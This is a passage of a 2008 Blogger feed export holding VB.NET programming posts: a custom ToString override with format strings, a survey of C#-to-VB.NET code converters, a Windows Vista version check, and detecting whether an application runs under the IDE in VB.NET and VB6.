        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _FirstName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; TempStr.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
            &lt;span class=&quot;rem&quot;&gt;&#39; Add space between names&lt;/span&gt;
            TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;, &amp;quot;&lt;/span&gt; &amp;amp; _FirstName
          &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
            TempStr = _FirstName
          &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Select&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; TempStr

  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Class&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;



.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;The first ToString method has to be declared as Overrides, since the class is inherited from System.Object and the method overrides the method from the base class.&lt;/p&gt;

&lt;p&gt;The second ToString method accepts a format string argument and it has to be declared as Overloads, since it overloads our first method. Accepted format strings are &amp;quot;f&amp;quot;, &amp;quot;l&amp;quot;, &amp;quot;fl&amp;quot;, &amp;quot;lf&amp;quot;, &amp;quot;f,l&amp;quot; and &amp;quot;l,f&amp;quot; and they affect if either first or the last name is outputted first and how they are separated.&lt;/p&gt;

&lt;p&gt;The following example shows, how to test ToString methods and how the output from the our custom ToString method is formatted.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; aPersonName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt; PersonName(&lt;span class=&quot;str&quot;&gt;&amp;quot;John&amp;quot;&lt;/span&gt;, &lt;span class=&quot;str&quot;&gt;&amp;quot;Doe&amp;quot;&lt;/span&gt;)
MessageBox.Show(aPersonName.ToString, _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString(&lt;span class=&quot;str&quot;&gt;&amp;quot;f&amp;quot;&lt;/span&gt;), _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString(&lt;span class=&quot;str&quot;&gt;&amp;quot;l&amp;quot;&lt;/span&gt;), _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString(&lt;span class=&quot;str&quot;&gt;&amp;quot;fl&amp;quot;&lt;/span&gt;), _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString(&lt;span class=&quot;str&quot;&gt;&amp;quot;lf&amp;quot;&lt;/span&gt;), _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString(&lt;span class=&quot;str&quot;&gt;&amp;quot;f,l&amp;quot;&lt;/span&gt;), _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString(&lt;span class=&quot;str&quot;&gt;&amp;quot;l,f&amp;quot;&lt;/span&gt;), _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;Name&amp;quot;&lt;/span&gt;, MessageBoxButtons.OK, MessageBoxIcon.Information)&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;



.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;And the resulting output is &lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;John Doe 
    &lt;br /&gt;John 

    &lt;br /&gt;Doe 

    &lt;br /&gt;John Doe 

    &lt;br /&gt;Doe John 

    &lt;br /&gt;John, Doe 

    &lt;br /&gt;Doe, John&lt;/p&gt;&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/6216520713816050293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/6216520713816050293' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/6216520713816050293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/6216520713816050293'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/11/program-your-own-tostring-method-with.html' title='Program your own ToString method with VB.NET'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-1239239996707379352</id><published>2008-11-13T04:02:00.001-08:00</published><updated>2008-11-13T07:22:01.083-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Code Conversion"/><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="Delphi"/><category scheme="http://www.blogger.com/atom/ns#" term="IDE"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Convert CSharp source code to VB.NET source code</title><content type='html'>&lt;p&gt;Occasionally you search for code samples or code snippets for a specific problem with the search engines. Usually you do find a code snippet but it is written in a &amp;quot;wrong&amp;quot; language, most notably with C#. Then you face the problem, how to convert C# code to VB.NET code. Of course, you can do it manually if you&#39;re CSharp literate. &lt;/p&gt;  &lt;p&gt;Fortunately there are a few options to translate C# source code to VB.NET automatically and for free. Translators can be divided in two categories, web-based translators and applications that are capable to do the conversion. The pros of the web-based translators are obvious, you don&#39;t need to install any additional applications to your computer. &lt;/p&gt;  &lt;p&gt;There are a few things to remember when using .NET code translators. Although the original source code might be fully tested, you need to re-test the translated code. There&#39;s always some code which can&#39;t be translated, at least correctly. &lt;/p&gt;  &lt;p&gt;Here&#39;s a few rules of thumb to get most of the code converters. Do not try to translate a whole application. The result may be hard to test and the resulted source code may be more or less spaghetti style code. Keep it simple, translate only code snippets or one class at a time. &lt;/p&gt;  &lt;p&gt;Finally, code translators usually work in both ways i.e. they translate from CSharp to VB.NET as well as from VB.NET to CSharp. &lt;/p&gt;  &lt;h4&gt;Web-based CSharp to VB.NET converters &lt;/h4&gt;  &lt;p&gt;&lt;a href=&quot;http://www.carlosag.net/Tools/CodeTranslator/&quot;&gt;http://www.carlosag.net/Tools/CodeTranslator/&lt;/a&gt; is an on-line translator by Carlos Mares. Supported translations are C# -&amp;gt; VB.NET and VB.NET -&amp;gt; C#. As usually, the code is pasted in the text box and then you press Go-button. The translated code is replaced in the text box. Extra option is to upload a whole file to be translated. &lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://www.developerfusion.com/tools/convert/csharp-to-vb/&quot;&gt;http://www.developerfusion.com/tools/convert/csharp-to-vb/&lt;/a&gt; is an on-line translator by Developer Fusion Ltd. Supported translations are C# -&amp;gt; VB.NET and VB.NET -&amp;gt; C#. Also .NET 3.5 syntax is supported. Extra feature is automatically copy result to clipboard. Developer Fusion&#39;s translator gives accurate information if the original source has error. It also gives information about the code parts that are not supported in the target language and thus are not possible to translate. &lt;/p&gt;  &lt;p&gt;&lt;a href=&quot;http://converter.telerik.com/&quot;&gt;http://converter.telerik.com/&lt;/a&gt; is an on-line translator by Telerik. Supported translations are C# -&amp;gt; VB.NET and VB.NET -&amp;gt; C#. Like Developer Fusion&#39;s translator, this translator gives accurate information if the original source has error. Translator also gives information about the code parts that are not supported in the target language and thus are not possible to translate. &lt;/p&gt;  &lt;p&gt;A good list of translators, both free and commercial, can be found on &lt;a href=&quot;http://dotnet.mvps.org/dotnet/faqs/?id=languageconverters&amp;lang;=en&quot; target=&quot;_blank&quot;&gt;Converting code between .NET programming languages&lt;/a&gt;     &lt;br /&gt;Converters mentioned above are just samples, new converts seem to arise in the net almost daily. &lt;/p&gt;  &lt;h4&gt;CSharp to VB.NET converter applications &lt;/h4&gt;  &lt;p&gt;SharpDevelop (&lt;a href=&quot;http://www.sharpdevelop.net/)&quot;&gt;http://www.sharpdevelop.net/)&lt;/a&gt; is actually an IDE for .NET programming. In the Tools-menu you&#39;ll find &amp;quot;Covert code to&amp;quot;-option. Supported translations are C# -&amp;gt; VB.NET, VB.NET -&amp;gt; C# and a conversions to a bit exotic Boo-language. As you can expect, you&#39;ll get messages from syntax errors in the original code. Also code parts that are not supported in the target language are marked with comments. Current SharpDevelop version is 2.2, but version 3.0 is in the beta phase and it will propably support .NET 3.5 syntax. &lt;/p&gt;  &lt;p&gt;.NET Reflector (&lt;a href=&quot;http://www.red-gate.com/products/reflector/)&quot;&gt;http://www.red-gate.com/products/reflector/)&lt;/a&gt; is a tool to view, navigate, and search through, the class hierarchies of .NET assemblies. .NET Reflector was originally programmed by Lutz Roeder but Red Gate Software Ltd. acquired it this year. They still offer a free version of it. Since Reflector handles assemblies rather than source code, it supports quite wide range of conversions. Easiest way to convert from the assembly to source code, is to use a suitable plug-in for the Reflector. In the case of VB.NET conversion, Denis Bauer has a great plug-in for this &lt;a href=&quot;http://www.denisbauer.com/NETTools/FileDisassembler.aspx&quot; target=&quot;_blank&quot;&gt;www.denisbauer.com/NETTools/FileDisassembler.aspx&lt;/a&gt;. Supported conversions i.e. source languages generated with this plug-in are C#, Visual Basic and Delphi. Latest version is 5.0.42.0 and it was published in 2007 so there&#39;s no .NET 3.5 support. &lt;/p&gt;  &lt;h4&gt;Which CSharp to VB.NET source code converter to choose from? &lt;/h4&gt;  &lt;p&gt;My personal favorite is Developer Fusion&#39;s translator since I convert often and small C# snippets to VB.NET. I&#39;ve always got the job done with it and it&#39;s fast to use. However, take a look at the other converters too. You may find a more suitable for your needs.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/1239239996707379352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/1239239996707379352' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/1239239996707379352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/1239239996707379352'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/11/convert-csharp-source-code-to-vbnet.html' title='Convert CSharp source code to VB.NET source code'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-2243368446687785868</id><published>2008-11-06T01:57:00.001-08:00</published><updated>2008-11-06T01:59:40.351-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows Vista"/><title type='text'>A quick tip: Check with VB.NET if operating system is Windows Vista</title><content type='html'>&lt;p&gt;One day I fixed some old VB.NET application that works fine in Windows XP and Windows 2000. The problem was, it didn&#39;t work as expected with Windows Vista.&lt;/p&gt;  &lt;p&gt;I located the spot which handled Windows registry in a way that did not work in Vista and I was quickly able to write a Vista-compatible version. Since it was not possible to have two versions of the application and I did not have time to re-write that part of the code to be compatible with all Windows versions, I decided to include both code snippets in the same version and just check operating system.&lt;/p&gt;  &lt;p&gt;Checking operating system version with VB.NET is an easy job and I wrote a little wrapper for my Windows Vista check:&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Returns true if the OS version is any Vista version&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;True if Vista OS&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; IsVista() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Environment.OSVersion.Version.Major = 6 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;
.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;In the application I use it in the following way:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; IsVista() &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Vista specific code&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Code for older Windows versions&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; If&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;
.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;That saved me a lot of time and testing.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/2243368446687785868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/2243368446687785868' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2243368446687785868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2243368446687785868'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/11/quick-tip-check-with-vbnet-if-operating.html' title='A quick tip: Check with VB.NET if operating system is Windows Vista'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-8679487334978903294</id><published>2008-10-03T03:53:00.001-07:00</published><updated>2008-10-03T03:54:11.402-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Debug"/><category scheme="http://www.blogger.com/atom/ns#" term="Debugger"/><category scheme="http://www.blogger.com/atom/ns#" term="IDE"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><category scheme="http://www.blogger.com/atom/ns#" term="VB6"/><title type='text'>Check with VB.NET if running under IDE</title><content type='html'>&lt;p&gt;When you write your VB.NET application and debug it under IDE, you know it&#39;s running under IDE. Your application does not know it but in some cases it should know that it&#39;s running under IDE.&lt;/p&gt;  &lt;p&gt;When the application can check if it&#39;s running under IDE or as a standalone application, it can make different decisions based on that knowledge.&lt;/p&gt;  &lt;p&gt;One scenario would be to use different paths to data files. Under IDE the application can use path to some data made for debugging purpose. When running as a standalone application it can use path to real data.&lt;/p&gt;  &lt;p&gt;Another scenario where your application can use this information, is to display debugging information. When you debug application under IDE, it can use extensive debug information dumping. But when you hand your application over to testers, they like to have your application behaving like end users would see it.&lt;/p&gt;  &lt;h4&gt;Test with VB.NET if running in IDE&lt;/h4&gt;  &lt;p&gt;With VB.NET it&#39;s quite simple to test if the application runs in IDE. System.Diagnostics namespace contains Debugger class. From Debugger class you can check IsAttached property which tells if a debugger is attached to the running process. This is the case when your application runs in IDE.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Returns boolean value telling if the application is running under IDE&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;True if the application is running under IDE&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; RunningUnderIDE() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; System.Diagnostics.Debugger.IsAttached()

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;h4&gt;Test with Visual Basic 6 if running under IDE&lt;/h4&gt;

&lt;p&gt;Just for the comparison I went through my &amp;quot;Old Code Archive&amp;quot; and under the dust I found how the same test was done with VB6. I have used this code to test if my application was running in IDE with VB6, but I know there were other (maybe simpler) ways to do it.&lt;/p&gt;

&lt;p&gt;First, some helper routines and declarations.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Const&lt;/span&gt; FileFromFullName = 2

&lt;span class=&quot;kwrd&quot;&gt;Private&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Declare&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; GetModuleFileName &lt;span class=&quot;kwrd&quot;&gt;Lib&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;kernel32&amp;quot;&lt;/span&gt; _
  &lt;span class=&quot;kwrd&quot;&gt;Alias&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;GetModuleFileNameA&amp;quot;&lt;/span&gt; (&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; hModule &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Long&lt;/span&gt;, _
  &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; lpFileName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; nSize &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Long&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Long&lt;/span&gt;
  
&lt;span class=&quot;kwrd&quot;&gt;Private&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Declare&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; GetModuleHandle &lt;span class=&quot;kwrd&quot;&gt;Lib&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;kernel32&amp;quot;&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Alias&lt;/span&gt; _
  &lt;span class=&quot;str&quot;&gt;&amp;quot;GetModuleHandleA&amp;quot;&lt;/span&gt; (&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; lpModuleName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Long&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;Private&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; GetFileFromFullName(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; SourceFile &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39; Return the file name and extension part of SourceFile.&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; SlashPos &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; LastPos &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;
  
  &lt;span class=&quot;rem&quot;&gt;&#39; Find out the position index for the last slash character (LastPos)&lt;/span&gt;
  SlashPos = InStr(SourceFile, &lt;span class=&quot;str&quot;&gt;&amp;quot;\&amp;quot;&lt;/span&gt;)
  LastPos = SlashPos
  &lt;span class=&quot;kwrd&quot;&gt;Do&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Until&lt;/span&gt; SlashPos = 0
    SlashPos = InStr(LastPos + 1, SourceFile, &lt;span class=&quot;str&quot;&gt;&amp;quot;\&amp;quot;&lt;/span&gt;)
    &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; SlashPos &amp;lt;&amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
      LastPos = SlashPos
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Loop&lt;/span&gt;
  
  &lt;span class=&quot;rem&quot;&gt;&#39; Now return last &#39;LastPos&#39; chars from the original SourceFile string&lt;/span&gt;
  GetFileFromFullName = Mid$(SourceFile, LastPos + 1)

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; GetProcessName() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
Attribute GetProcessName.VB_Description = &lt;span class=&quot;str&quot;&gt;&amp;quot;Returns the name of the mother process, which is different to app.name if program is a dll.&amp;quot;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39; Returns the name of the mother process (different to app&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39; if we are in a dll)&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StringBuffer &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; FileName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Length &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Long&lt;/span&gt;
  
  StringBuffer = Space(255)
  Length = GetModuleFileName(GetModuleHandle(vbNullString), _
    StringBuffer, Len(StringBuffer))
  FileName = GetFileFromFullName(Left$(StringBuffer, Length))
  FileName = Left$(FileName, Len(FileName) - 4) &lt;span class=&quot;rem&quot;&gt;&#39; Remove .exe&lt;/span&gt;
  GetProcessName = FileName

